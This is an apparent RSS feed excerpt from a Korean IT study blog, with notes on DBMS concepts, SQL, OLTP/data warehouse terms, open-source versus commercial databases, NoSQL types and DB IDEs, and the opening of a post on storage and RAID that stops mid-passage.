&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- DBMS: Database Management System, 사용자들이 &lt;b&gt;DB안에 있는 데이터를 접근할 수 있도록 해주는 소프트웨어&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1039&quot; data-origin-height=&quot;552&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UzCD0/btsNK93rbdp/giLhx2Ti9iGHlHXcbQbIm1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UzCD0/btsNK93rbdp/giLhx2Ti9iGHlHXcbQbIm1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UzCD0/btsNK93rbdp/giLhx2Ti9iGHlHXcbQbIm1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUzCD0%2FbtsNK93rbdp%2FgiLhx2Ti9iGHlHXcbQbIm1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1039&quot; height=&quot;552&quot; data-origin-width=&quot;1039&quot; data-origin-height=&quot;552&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 쇼핑몰 DBMS 예시: 쇼핑몰 이용 고객, 쇼핑몰 관리자, 쇼핑몰 입점 판매자들이 모두 DBMS를 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;고객 A: 쇼핑몰에 로그인 시도, DBMS에서 고객 A가 입력한 회원정보가 DB에 저장되어 있는지 확인 후 로그인 승인 여부 결정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;고객 B: 쇼핑몰에서 원하는 상품 검색, DBMS는 해당 상품 정보가 DB에 저장되어 있는지 확인 후 결과물을 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쇼핑몰 관리자 C: 신규 업체를 쇼핑몰에 등록, DBMS는 신규 업체 정보를 DB에 저장&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쇼핑몰 입점 판매자 D: 고객이 주문한 제품에 대한 주문 정보 확인, DBMS는 DB에 저장된 해당 제품에 대한 주문 정보를 출력&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1475&quot; data-origin-height=&quot;569&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FQRrr/btsNMCcnj5X/2e4GtkzE2ZVZrE3P4I7780/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FQRrr/btsNMCcnj5X/2e4GtkzE2ZVZrE3P4I7780/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FQRrr/btsNMCcnj5X/2e4GtkzE2ZVZrE3P4I7780/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFQRrr%2FbtsNMCcnj5X%2F2e4GtkzE2ZVZrE3P4I7780%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1475&quot; height=&quot;569&quot; data-origin-width=&quot;1475&quot; data-origin-height=&quot;569&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;※ DBMS: 클라이언트가 요청한 데이터가 DB에 저장되어 있는지 확인 후 결과물을 출력해줌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 관계형 DBMS: Relational DBMS(RDBMS), 테이블이라는 최소 단위로 구성하면 이 테이블은 &lt;b&gt;열과 행으로 이루어짐&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Primary Key(기본키)로 구분, DB&amp;nbsp;테이블 내의 모든 레코드에서 고유한 아이디를 제공한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1476&quot; data-origin-height=&quot;530&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FngD8/btsNNe9ZQFO/iwIyEubOkAIstuxoylToq0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FngD8/btsNNe9ZQFO/iwIyEubOkAIstuxoylToq0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FngD8/btsNNe9ZQFO/iwIyEubOkAIstuxoylToq0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFngD8%2FbtsNNe9ZQFO%2FiwIyEubOkAIstuxoylToq0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1476&quot; height=&quot;530&quot; data-origin-width=&quot;1476&quot; data-origin-height=&quot;530&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- SQL: Structured Query Language(구조적 데이터 질의 언어), 데이터베이스에서 &lt;b&gt;데이터를 조회하기 위한 언어&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1387&quot; data-origin-height=&quot;632&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oTDGN/btsNMvEugHz/z1xBpULyUsGGJoRH6BTn21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oTDGN/btsNMvEugHz/z1xBpULyUsGGJoRH6BTn21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oTDGN/btsNMvEugHz/z1xBpULyUsGGJoRH6BTn21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoTDGN%2FbtsNMvEugHz%2Fz1xBpULyUsGGJoRH6BTn21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1387&quot; height=&quot;632&quot; data-origin-width=&quot;1387&quot; data-origin-height=&quot;632&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;- 데이터베이스 주요 용어: OLTP, DW, DM, OLAP&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- OLTP: Online Transaction Processing 온라인 트랜잭션(거래) 처리 &amp;rarr; 라면 공장&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- DW: Data Warehouse 거대한 데이터 저장소 &amp;rarr; 라면 도매 시장&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Data Mart: 용도별로 구분하여 저장한 데이터 저장소 &amp;rarr; 이마트, 동네 슈퍼의 식료품 코너&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- OLAP: Online Analytical Processing 온라인 분석 처리 &amp;rarr; 원하는 라면 선택&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;638&quot; data-origin-height=&quot;646&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CVhoo/btsNLzANqCo/yaQ82OlIkCzxNJoK8kLhSK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CVhoo/btsNLzANqCo/yaQ82OlIkCzxNJoK8kLhSK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CVhoo/btsNLzANqCo/yaQ82OlIkCzxNJoK8kLhSK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCVhoo%2FbtsNLzANqCo%2FyaQ82OlIkCzxNJoK8kLhSK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;638&quot; height=&quot;646&quot; data-origin-width=&quot;638&quot; data-origin-height=&quot;646&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;오픈소스 DB vs 상용 DB&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데이터베이스 유형: 오픈소스 DB vs 상용 DB&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 오픈소스 DB: MySQL, MariaDB, PostgreSQL&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 상용 DB: 오라클 DB, MS-SQL, IBM&amp;nbsp;DB2&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;804&quot; data-origin-height=&quot;354&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cuqbqe/btsNOWwbVjy/f8Keh9GTQbWZG0azN5KFd0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cuqbqe/btsNOWwbVjy/f8Keh9GTQbWZG0azN5KFd0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cuqbqe/btsNOWwbVjy/f8Keh9GTQbWZG0azN5KFd0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcuqbqe%2FbtsNOWwbVjy%2Ff8Keh9GTQbWZG0azN5KFd0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;804&quot; height=&quot;354&quot; data-origin-width=&quot;804&quot; data-origin-height=&quot;354&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- NoSQL: 대용량 데이터를 분산 처리하기 위해 SQL이 아닌 또 다른 기술을 채택한 오픈소스 데이터베이스, 최근에 많이 뜸&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- NoSQL = Not Only SQL&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;794&quot; data-origin-height=&quot;344&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/25lix/btsNQqwaFA1/dRF7lKEKOuPCTGuXViQprk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/25lix/btsNQqwaFA1/dRF7lKEKOuPCTGuXViQprk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/25lix/btsNQqwaFA1/dRF7lKEKOuPCTGuXViQprk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F25lix%2FbtsNQqwaFA1%2FdRF7lKEKOuPCTGuXViQprk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;794&quot; height=&quot;344&quot; data-origin-width=&quot;794&quot; data-origin-height=&quot;344&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. Key-Value Type: 키와 값을 직접적으로 연결하여 데이터를 저장하는 방식, 빠른 데이터 접근 속도를 제공&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. Document Type: JSON과 같은 문서 형태로 데이터를 저장하는 방식, 유연한 스키마와 데이터를 쉽게 저장하고 검색 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. Column-Family Type: 데이터를 열(column) 단위로 저장하는 방식, 대량의 데이터를 효율적으로 처리하고 수평적으로 확장 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. Graph Type: 노드와&amp;nbsp;에지를&amp;nbsp;통해&amp;nbsp;데이터를&amp;nbsp;연결하여&amp;nbsp;저장하는&amp;nbsp;방식으로,&amp;nbsp;관계&amp;nbsp;분석&amp;nbsp;및&amp;nbsp;탐색에&amp;nbsp;용이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데이터베이스 엔진 순위&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 총 397개 중 상위 30위 리스트&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사이트 주소:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://db-engines.com/en/ranking&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://db-engines.com/en/ranking&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;809&quot; data-origin-height=&quot;739&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ei9EP2/btsNPdSv0DO/5ZEHUKBYU2nIQr2N1RoKG1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ei9EP2/btsNPdSv0DO/5ZEHUKBYU2nIQr2N1RoKG1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ei9EP2/btsNPdSv0DO/5ZEHUKBYU2nIQr2N1RoKG1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fei9EP2%2FbtsNPdSv0DO%2F5ZEHUKBYU2nIQr2N1RoKG1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;809&quot; height=&quot;739&quot; data-origin-width=&quot;809&quot; data-origin-height=&quot;739&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;DB IDE&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- DB IDE: IDE(Integrated Development Environment), DB 엔지니어, DBA, 개발자가 사용하는 DB 개발 도구&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1232&quot; data-origin-height=&quot;466&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bG2H3H/btsNOTGe0eB/9ym3R8RY4kUpapdnHrxFL0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bG2H3H/btsNOTGe0eB/9ym3R8RY4kUpapdnHrxFL0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bG2H3H/btsNOTGe0eB/9ym3R8RY4kUpapdnHrxFL0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbG2H3H%2FbtsNOTGe0eB%2F9ym3R8RY4kUpapdnHrxFL0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1232&quot; height=&quot;466&quot; data-origin-width=&quot;1232&quot; data-origin-height=&quot;466&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 상용 DB IDE: GUI 지원, 다중 DB 지원, Query 자동완성, 관리자를 위한 기본 모니터링 도구 제공&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- DB를 여러 개 사용하는 경우, 1개의 상용 DB IDE에서 다수의 DB를 관리할 수 있음&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1237&quot; data-origin-height=&quot;540&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cBTFa0/btsNPxQFsiJ/QNbPkKnn32bZ23wj1Y1CTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cBTFa0/btsNPxQFsiJ/QNbPkKnn32bZ23wj1Y1CTK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cBTFa0/btsNPxQFsiJ/QNbPkKnn32bZ23wj1Y1CTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcBTFa0%2FbtsNPxQFsiJ%2FQNbPkKnn32bZ23wj1Y1CTK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1237&quot; height=&quot;540&quot; data-origin-width=&quot;1237&quot; data-origin-height=&quot;540&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88&lt;/a&gt;&lt;/p&gt;</description>
      <category>IT 지식/IT 인프라 기초</category>
      <category>db</category>
      <category>it 운영</category>
      <category>IT 인프라</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/218</guid>
      <comments>https://it-log.tistory.com/218#entry218comment</comments>
      <pubDate>Fri, 9 May 2025 22:00:17 +0900</pubDate>
    </item>
    <item>
      <title>스토리지와 백업</title>
      <link>https://it-log.tistory.com/217</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;스토리지 개념 및 종류&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 스토리지: &lt;b&gt;저장장치를 다수 장착한 대용량 고속 저장 장비&lt;/b&gt;로 서버 및 클라이언트와 &lt;b&gt;네트워크로 연결&lt;/b&gt;해서 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 저장장치: 컴퓨터의 데이터를 저장하기 위한 &lt;b&gt;비 휘발성의 기억 장치&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1219&quot; data-origin-height=&quot;593&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cQoMQu/btsNL2BDVjC/bRA87l0QVn4yYE0QP29svk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cQoMQu/btsNL2BDVjC/bRA87l0QVn4yYE0QP29svk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cQoMQu/btsNL2BDVjC/bRA87l0QVn4yYE0QP29svk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcQoMQu%2FbtsNL2BDVjC%2FbRA87l0QVn4yYE0QP29svk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1219&quot; height=&quot;593&quot; data-origin-width=&quot;1219&quot; data-origin-height=&quot;593&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 스토리지는 &lt;b&gt;데이터 저장&lt;/b&gt;뿐만 아니라 &lt;b&gt;데이터 공유&lt;/b&gt; 목적으로 주로 사용됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버에 장착된 디스크 용량이 부족할 경우, 다수의 사람들과 데이터를 공유할 필요가 있을 경우 스토리지를 활용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데이터 관리 및 보호를 위한 별도의 소프트웨어 탑재&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1468&quot; data-origin-height=&quot;353&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPBVd5/btsNJCx2YWP/ckaaBZaT0zE4iA84dC8Xg1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPBVd5/btsNJCx2YWP/ckaaBZaT0zE4iA84dC8Xg1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPBVd5/btsNJCx2YWP/ckaaBZaT0zE4iA84dC8Xg1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPBVd5%2FbtsNJCx2YWP%2FckaaBZaT0zE4iA84dC8Xg1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1468&quot; height=&quot;353&quot; data-origin-width=&quot;1468&quot; data-origin-height=&quot;353&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;RAID&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 스토리지 데이터 저장 방식: RAID, Redundant Array of Inexpensive/Independent Disks&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 비싸지 않은/독립적인 다수의 디스크들의 배열, 집합&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 여러 개의 디스크를 하나의 디스크 모듈로 구성, 디스크 읽기/쓰기 성능 향상 및 장애 발생 시 원활한 복구를 위해 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;※ RAID - &lt;b&gt;다수의 디스크를 마치 하나의 디스크처럼 사용할 수 있게 해주는 기술&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1495&quot; data-origin-height=&quot;320&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4JoBm/btsNKYzZCm6/ihkOB5iS68HTtblegkdkQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4JoBm/btsNKYzZCm6/ihkOB5iS68HTtblegkdkQk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4JoBm/btsNKYzZCm6/ihkOB5iS68HTtblegkdkQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4JoBm%2FbtsNKYzZCm6%2FihkOB5iS68HTtblegkdkQk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1495&quot; height=&quot;320&quot; data-origin-width=&quot;1495&quot; data-origin-height=&quot;320&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;- 대표적인 RAID 방식 #1: RAID 0, RAID 1&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- RAID 0: 데이터를 여러 디스크에 분산 저장하여 하나의 디스크처럼 사용, &lt;b&gt;성능이 좋지만 장애 시 데이터는 모두 손실&lt;/b&gt;됨&lt;/p&gt;
